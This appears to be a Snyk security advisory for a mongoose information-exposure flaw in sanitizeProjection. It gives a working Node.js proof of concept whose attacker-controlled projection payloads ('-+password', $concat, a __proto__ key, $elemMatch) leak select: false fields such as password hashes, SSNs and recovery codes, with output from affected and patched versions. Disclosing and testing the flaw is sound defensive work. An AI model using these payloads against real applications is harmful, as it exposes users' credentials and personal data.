Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade mongoose to version 8.24.10, 9.12.2 or higher.
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Information Exposure via multiple bypass vectors in sanitizeProjection (in lib/helpers/query/sanitizeProjection.js and lib/query.js), allowing an attacker who controls the projection argument passed to select(), find(filter, projection), or the projection option to read fields marked select: false. The bypasses include +path selections in exclusive projections, aggregation expressions as object or array values, nested sub-projections, parent-path selections that include select: false children, positional projections, $meta with non-textScore values, an own __proto__ key that re-points the projection object's prototype, and $elemMatch combined with an exclusion or a cast error. Additionally, nested exclusion objects, $elemMatch cast errors, and discriminator filters cause ordinary queries that do not enable sanitizeProjection to omit the select: false exclusions Mongoose normally adds, exposing password hashes, reset tokens, API keys, and other secrets.
Requires a MongoDB server on localhost and npm install mongoose@9.12.1 (or any affected version).
const mongoose = require('mongoose'); const { Schema } = mongoose;(async () => { await mongoose.connect('mongodb://127.0.0.1:27017/sanitize_projection_poc');
const User = mongoose.model('User', new Schema({ name: String, password: { type: String, select: false }, profile: { bio: String, ssn: { type: String, select: false } }, recoveryCodes: { type: [String], select: false } })); await User.deleteMany({}); await User.create({ name: 'alice', password: 'HASH', profile: { bio: 'hi', ssn: '123-45-6789' }, recoveryCodes: ['CODE1'] });
// Attacker-controlled projections, passed to a query with
sanitizeProjectionenabled const attacks = [ '-name +password', '-+password', { name: { $concat: ['$password'] } }, { name: ['$password'] }, { name: 1, profile: { $slice: ['$recoveryCodes', 1] } }, { profile: { ssn: 1 } }, 'profile', JSON.parse('{"proto":{"password":0}}'), { name: { x: 1, $elemMatch: { $eq: 'alice' } } } ]; for (const projection of attacks) { const doc = await User.findOne().sanitizeProjection(true).select(projection).lean().catch(err => err.message); console.log(JSON.stringify(projection), '=>', JSON.stringify(doc)); }
await mongoose.disconnect(); })();
Output on an affected version, with _id and __v removed. Every line includes a select: false value:
"-name +password" => {"password":"HASH","profile":{"bio":"hi"}}
"-+password" => {"name":"alice","password":"HASH","profile":{"bio":"hi"}}
{"name":{"$concat":["$password"]}} => {"name":"HASH"}
{"name":["$password"]} => {"name":["HASH"]}
{"name":1,"profile":{"$slice":["$recoveryCodes",1]}} => {"name":"alice","profile":["CODE1"]}
{"profile":{"ssn":1}} => {"profile":{"ssn":"123-45-6789"}}
"profile" => {"profile":{"bio":"hi","ssn":"123-45-6789"}}
{"__proto__":{"password":0}} => {"name":"alice","password":"HASH","profile":{"bio":"hi"}}
{"name":{"x":1,"$elemMatch":{"$eq":"alice"}}} => {"name":"alice","password":"HASH","profile":{"bio":"hi","ssn":"123-45-6789"},"recoveryCodes":["CODE1"]}
Output on a patched version. No select: false values are returned, and the last projection rejects:
"-name +password" => {"profile":{"bio":"hi"}}
"-+password" => {"name":"alice","profile":{"bio":"hi"}}
{"name":{"$concat":["$password"]}} => {"name":"alice"}
{"name":["$password"]} => {"name":"alice"}
{"name":1,"profile":{"$slice":["$recoveryCodes",1]}} => {"name":"alice"}
{"profile":{"ssn":1}} => {"name":"alice","profile":{"bio":"hi"}}
"profile" => {"name":"alice","profile":{"bio":"hi"}}
{"__proto__":{"password":0}} => {"name":"alice","profile":{"bio":"hi"}}
{"name":{"x":1,"$elemMatch":{"$eq":"alice"}}} => "Can't use x with String."
Note: Requires a MongoDB server on localhost and mongoose version 9.12.1 or any affected version.